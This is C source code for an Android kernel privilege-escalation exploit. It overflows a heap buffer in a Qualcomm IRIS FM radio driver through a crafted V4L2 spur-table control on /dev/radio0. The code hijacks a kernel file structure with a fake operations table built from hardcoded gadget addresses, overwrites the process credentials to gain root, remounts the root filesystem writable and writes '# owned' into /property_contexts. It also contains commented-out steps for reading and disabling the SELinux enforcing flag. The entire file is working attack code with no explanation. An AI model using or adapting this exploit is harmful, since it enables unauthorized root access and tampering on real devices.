#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef unsigned int kuid_t; typedef unsigned int kgid_t; #define atomic_t unsigned int typedef unsigned long long kernel_cap_t; struct cred { atomic_t usage; /* atomic_t subscribers; void *put_addr; unsigned magic; */ kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ }; enum v4l2_cid_private_iris_t { V4L2_CID_PRIVATE_IRIS_SRCHMODE = (0x08000000 + 1), V4L2_CID_PRIVATE_IRIS_SCANDWELL, V4L2_CID_PRIVATE_IRIS_SRCHON, V4L2_CID_PRIVATE_IRIS_STATE, V4L2_CID_PRIVATE_IRIS_TRANSMIT_MODE, V4L2_CID_PRIVATE_IRIS_RDSGROUP_MASK, V4L2_CID_PRIVATE_IRIS_REGION, V4L2_CID_PRIVATE_IRIS_SIGNAL_TH, V4L2_CID_PRIVATE_IRIS_SRCH_PTY, V4L2_CID_PRIVATE_IRIS_SRCH_PI, V4L2_CID_PRIVATE_IRIS_SRCH_CNT, V4L2_CID_PRIVATE_IRIS_EMPHASIS, V4L2_CID_PRIVATE_IRIS_RDS_STD, V4L2_CID_PRIVATE_IRIS_SPACING, V4L2_CID_PRIVATE_IRIS_RDSON, V4L2_CID_PRIVATE_IRIS_RDSGROUP_PROC, V4L2_CID_PRIVATE_IRIS_LP_MODE, V4L2_CID_PRIVATE_IRIS_ANTENNA, V4L2_CID_PRIVATE_IRIS_RDSD_BUF, V4L2_CID_PRIVATE_IRIS_PSALL, /*0x8000014*/ /*v4l2 Tx controls*/ V4L2_CID_PRIVATE_IRIS_TX_SETPSREPEATCOUNT, V4L2_CID_PRIVATE_IRIS_STOP_RDS_TX_PS_NAME, V4L2_CID_PRIVATE_IRIS_STOP_RDS_TX_RT, V4L2_CID_PRIVATE_IRIS_IOVERC, V4L2_CID_PRIVATE_IRIS_INTDET, V4L2_CID_PRIVATE_IRIS_MPX_DCC, V4L2_CID_PRIVATE_IRIS_AF_JUMP, V4L2_CID_PRIVATE_IRIS_RSSI_DELTA, V4L2_CID_PRIVATE_IRIS_HLSI, /*0x800001d*/ /*Diagnostic commands*/ V4L2_CID_PRIVATE_IRIS_SOFT_MUTE, V4L2_CID_PRIVATE_IRIS_RIVA_ACCS_ADDR, V4L2_CID_PRIVATE_IRIS_RIVA_ACCS_LEN, V4L2_CID_PRIVATE_IRIS_RIVA_PEEK, V4L2_CID_PRIVATE_IRIS_RIVA_POKE, V4L2_CID_PRIVATE_IRIS_SSBI_ACCS_ADDR, V4L2_CID_PRIVATE_IRIS_SSBI_PEEK, V4L2_CID_PRIVATE_IRIS_SSBI_POKE, V4L2_CID_PRIVATE_IRIS_TX_TONE, V4L2_CID_PRIVATE_IRIS_RDS_GRP_COUNTERS, V4L2_CID_PRIVATE_IRIS_SET_NOTCH_FILTER, /* 0x8000028 */ V4L2_CID_PRIVATE_IRIS_SET_AUDIO_PATH, /* TAVARUA specific command */ V4L2_CID_PRIVATE_IRIS_DO_CALIBRATION, V4L2_CID_PRIVATE_IRIS_SRCH_ALGORITHM, /* TAVARUA specific command */ V4L2_CID_PRIVATE_IRIS_GET_SINR, V4L2_CID_PRIVATE_INTF_LOW_THRESHOLD, V4L2_CID_PRIVATE_INTF_HIGH_THRESHOLD, V4L2_CID_PRIVATE_SINR_THRESHOLD, V4L2_CID_PRIVATE_SINR_SAMPLES, V4L2_CID_PRIVATE_SPUR_FREQ, V4L2_CID_PRIVATE_SPUR_FREQ_RMSSI, V4L2_CID_PRIVATE_SPUR_SELECTION, V4L2_CID_PRIVATE_UPDATE_SPUR_TABLE, V4L2_CID_PRIVATE_VALID_CHANNEL, V4L2_CID_PRIVATE_AF_RMSSI_TH, V4L2_CID_PRIVATE_AF_RMSSI_SAMPLES, V4L2_CID_PRIVATE_GOOD_CH_RMSSI_TH, V4L2_CID_PRIVATE_SRCHALGOTYPE, V4L2_CID_PRIVATE_CF0TH12, V4L2_CID_PRIVATE_SINRFIRSTSTAGE, V4L2_CID_PRIVATE_RMSSIFIRSTSTAGE, V4L2_CID_PRIVATE_RXREPEATCOUNT, /*using private CIDs under userclass*/ V4L2_CID_PRIVATE_IRIS_READ_DEFAULT = 0x00980928, V4L2_CID_PRIVATE_IRIS_WRITE_DEFAULT, V4L2_CID_PRIVATE_IRIS_SET_CALIBRATION, V4L2_CID_PRIVATE_IRIS_SET_SPURTABLE = 0x0098092D, V4L2_CID_PRIVATE_IRIS_GET_SPUR_TBL = 0x0098092E, }; #define RADIO_DEVICE "/dev/radio0" #define TARGET_FILE "/etc/xtwifi.conf" #define V4L2_CTRL_ID2CLASS(id) ((id) & 0x0fff0000UL) int main() { int radio_fd, ret_val; struct v4l2_capability radio_caps; printf("[*] current uid: %d\n", getuid()); printf("[*] opening %s...\n", RADIO_DEVICE); radio_fd = open(RADIO_DEVICE, O_RDWR); if(radio_fd < 0) { printf("[-] opening Failed: %d\n", radio_fd); return -1; } struct v4l2_ext_controls ext_ctrls; //struct v4l2_ext_control child_control; int i; int fds[35]; printf("[*] attemping to stabilize kernel heap...\n"); for(i=0; i<35;i++) fds[i] = open(TARGET_FILE, O_RDONLY); memset(&ext_ctrls, 0 , sizeof(ext_ctrls)); void *addr; addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if ((unsigned long long)addr == -1) { printf("[-] mmap failed landing page\n"); exit(1); } printf("[*] mapped landing page at %p\n", addr); memset((unsigned char *)addr, 0, 0x1000); unsigned long long *mal_fops; mal_fops = (unsigned long long *)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (mal_fops == NULL) { printf("[-] mmap failed mal_fops\n"); exit(1); } printf("[*] malicious fops at %p\n", mal_fops); /* set file operations table to an arbitrary write gadget */ mal_fops[0] = 0; for (i=1;i<13;i++) { mal_fops[i] = 0xFFFFFFC000223E2C; // str x2, [x1]; ret; } unsigned char payload[266]; int hijacked_fd; unsigned long long *my_file = (unsigned long long *)addr; fflush(stdout); while (*my_file == 0) { memset(payload, 0xff, sizeof(payload)); payload[0] = 0x3; // mode, doesn't matter payload[1] = 0xc; // number of entries, kmalloc(X * 20) /* positioned to overwrite the next pointer in the kernel heap */ ((unsigned long long *)(payload+2))[32] = (unsigned long long)addr; ext_ctrls.count = 0x1; ext_ctrls.controls = (struct v4l2_ext_control*)malloc(sizeof(struct v4l2_ext_control)); ext_ctrls.controls[0].id = V4L2_CID_PRIVATE_IRIS_SET_SPURTABLE; ext_ctrls.ctrl_class = V4L2_CTRL_ID2CLASS(ext_ctrls.controls[0].id); ext_ctrls.controls[0].string = payload; ext_ctrls.controls[0].size = sizeof(payload); errno = 0; printf("[!] attempting overflow...\n"); ret_val = ioctl(radio_fd, VIDIOC_S_EXT_CTRLS, &ext_ctrls); for (i=0; i<15; i++) { // DEBUG // printf("[*] allocating file %d\n", i); fds[i] = open(TARGET_FILE, O_RDONLY); if (*my_file) { hijacked_fd = fds[i]; printf("[+] hijacked file object, correlates to fd %d\n", hijacked_fd); fflush(stdout); break; } } if (*my_file == 0) { close(fds[0]); } } close(radio_fd); printf("[!] overwriting hijacked file struct\n"); my_file[5] = (unsigned long long)mal_fops; struct cred *f_cred = (struct cred *)my_file[14]; printf("[+] cred pointer: %p\n", f_cred); printf("[!] writing over the cred struct\n"); fflush(stdout); /* TODO: possible we can just write over one of * these and then call setreuid */ /* write over f_cred->uid and f_cred->gid*/ lseek(hijacked_fd, (off_t) &f_cred->uid, 0); /* write over f_cred->suid and f_cred->sgid*/ lseek(hijacked_fd, (off_t) &f_cred->suid, 0); /* write over f_cred->euid and f_cred->egid*/ lseek(hijacked_fd, (off_t) &f_cred->euid, 0); /* write over f_cred->fsuid and f_cred->fsgid*/ lseek(hijacked_fd, (off_t) &f_cred->fsuid, 0); /* turn off selinux */ // lseek(hijacked_fd, (off_t) 0xffffffc0016425b4, 0); // set up some nicer primitives // for arbitrary read we can leak values through lseek's return code // for *nearly* arbitrary write we can use ioctl /* owner */ mal_fops[0] = 0; for (i=1;i<13;i++) { /* everything including ioctl */ mal_fops[i] = 0xFFFFFFC000227244; // str x1, [x2]; ret } /* lseek */ mal_fops[1] = 0xFFFFFFC00027F3B0; // ldr x0, [x1]; ret /* * arbitrary reads can be done through lseek // leaks through lseek's return code printf("selinux_enforcing: %llx\n", (unsigned long long) lseek(hijacked_fd, ((off_t) 0xffffffc0016425b4), 1)); */ // write over the effective creds ioctl(hijacked_fd, -1, (&f_cred->cap_effective)); if (!getuid()) { printf("[+] got root\n"); int sh_fd; int bkd_fd; size_t rd; struct __user_cap_header_struct ch; struct __user_cap_data_struct cd; memset((char *)&cd, 0x41, sizeof(cd)); ch.version = 0x20080522; ch.pid = getpid(); if (capget(&ch, &cd) < 0) { perror("capget"); return -1; } if (cd.effective != -1) { printf("[-] failed to set capabilities\n"); return -1; } printf("[!] remounting / as rw\n"); if (mount("/", "/", "ext4", MS_REMOUNT, "") < 0) { perror("mount"); printf("[-] failed remounting / as rw\n"); } sh_fd = open("/property_contexts", O_WRONLY); if (sh_fd < 0) { perror("open"); printf("[-] failed openning target file\n"); } write(sh_fd, "# owned", 7); close(sh_fd); printf("[*] exploit done\n"); } else { printf("[-] failed to get root\n"); } while(1) ; }